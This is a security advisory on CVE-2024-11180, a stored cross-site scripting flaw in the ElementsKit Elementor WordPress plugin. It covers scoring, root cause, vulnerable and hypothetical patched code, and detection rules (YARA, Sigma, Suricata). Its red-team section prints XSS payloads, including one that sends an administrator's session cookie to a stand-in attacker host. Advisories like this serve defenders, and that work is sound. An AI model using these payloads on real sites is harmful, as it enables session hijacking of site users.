CVE-2024-11180

Executive Summary

CVE-2024-11180 is a Stored Cross-Site Scripting (XSS) vulnerability in the ElementsKit Elementor addons plugin for WordPress, affecting all versions up to and including 3.4.7. The flaw resides in the Countdown Timer Widget’s ekit_countdown_timer_title parameter, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a victim user accesses the compromised page.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The CVSS score of 6.4 (Medium) reflects the need for authenticated access and user interaction, but the stored nature of the XSS can lead to persistent compromise of affected sites.

Supply Chain & Package Security

This is a WordPress plugin vulnerability, not an NPM, PyPI, Go, or Ruby package. The plugin is distributed via the WordPress plugin repository and commercial channels. Users should verify the integrity of their plugin files and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the stored nature of the XSS, which can be used to target site administrators or visitors, potentially leading to session hijacking, defacement, or malware distribution.

Deep Dive & Mechanics

The vulnerability exists in the Countdown Timer Widget of the ElementsKit plugin. The ekit_countdown_timer_title parameter is used to display a title within the widget. The plugin fails to properly sanitize user input and escape output when rendering this parameter, allowing an attacker to inject malicious HTML and JavaScript.

Attack Flow:

1. An authenticated user with Contributor-level privileges creates or edits a post/page using the ElementsKit Countdown Timer Widget.
2. The attacker injects a malicious payload into the ekit_countdown_timer_title field, e.g., <script>alert('XSS')</script>.
3. The plugin stores the payload in the WordPress database without proper sanitization.
4. When any user (including administrators) views the page, the payload executes in their browser.

Root Cause: The plugin uses echo or similar output functions without applying esc_html() or wp_kses() to the ekit_countdown_timer_title value.

Vulnerable vs. Patched Code

Vulnerable Code (example from version 3.4.7):

// In the widget render method
echo '<h2 class="ekit-countdown-timer-title">' . $settings['ekit_countdown_timer_title'] . '</h2>';

Patched Code (hypothetical fix):

// Properly escape the output
echo '<h2 class="ekit-countdown-timer-title">' . esc_html( $settings['ekit_countdown_timer_title'] ) . '</h2>';

The patched version would use esc_html() to neutralize any HTML/JavaScript before rendering.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with ElementsKit plugin version <= 3.4.7
• Authenticated user with Contributor role or higher

Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. Add the ElementsKit Countdown Timer Widget.
4. In the widget settings, set the ekit_countdown_timer_title to:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish the post.
6. When an administrator visits the post, the script executes, exfiltrating their session cookie.

Alternative Payload:

<img src=x onerror="alert('XSS')">

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual content in the ekit_countdown_timer_title field in the database.
• Look for HTTP requests containing <script> tags in POST data to wp-admin/admin-ajax.php or post editor endpoints.

Prevention:

• Apply input validation and output escaping as per the patched code.
• Restrict Contributor-level access to trusted users only.
• Use a Web Application Firewall (WAF) to block XSS payloads.

Indicators of Compromise (IOCs)

• Database Entries: Posts/pages containing <script> tags in the ekit_countdown_timer_title meta field.
• HTTP Requests: POST requests to /wp-admin/admin-ajax.php with parameters containing XSS payloads.
• Logs: Unusual JavaScript execution errors in browser console logs.
• Network: Outbound connections to attacker-controlled domains from the WordPress server.

Detection Engineering

YARA Rule

rule Detect_ElementsKit_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2024-11180 in WordPress database exports"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11180"
    strings:
        $payload1 = /ekit_countdown_timer_title[^<]*<script/i
        $payload2 = /ekit_countdown_timer_title[^<]*<img[^>]+onerror/i
    condition:
        any of them
}

Sigma Rule

title: WordPress ElementsKit Stored XSS via Countdown Timer
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in the ekit_countdown_timer_title parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=elementor_ajax'
        cs-request-body|contains: 'ekit_countdown_timer_title'
        cs-request-body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget titles (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11180 WordPress ElementsKit Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"ekit_countdown_timer_title"; http_client_body; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: If a patched version becomes available, update immediately. As of now, no patch is confirmed.
2. Disable the Countdown Timer Widget: Temporarily remove or disable the widget via the plugin settings or by editing the plugin code.
3. Restrict User Roles: Limit Contributor-level access to only trusted users. Consider using a plugin to restrict role capabilities.

Long-term Fix:

• The vendor must release a patched version that properly escapes the ekit_countdown_timer_title output using esc_html() or wp_kses().
• Implement a Content Security Policy (CSP) header to mitigate XSS impact.

Workaround:

• Use a WAF rule to block requests containing <script> in the ekit_countdown_timer_title parameter.

Valters IT
Securing Digital Frontiers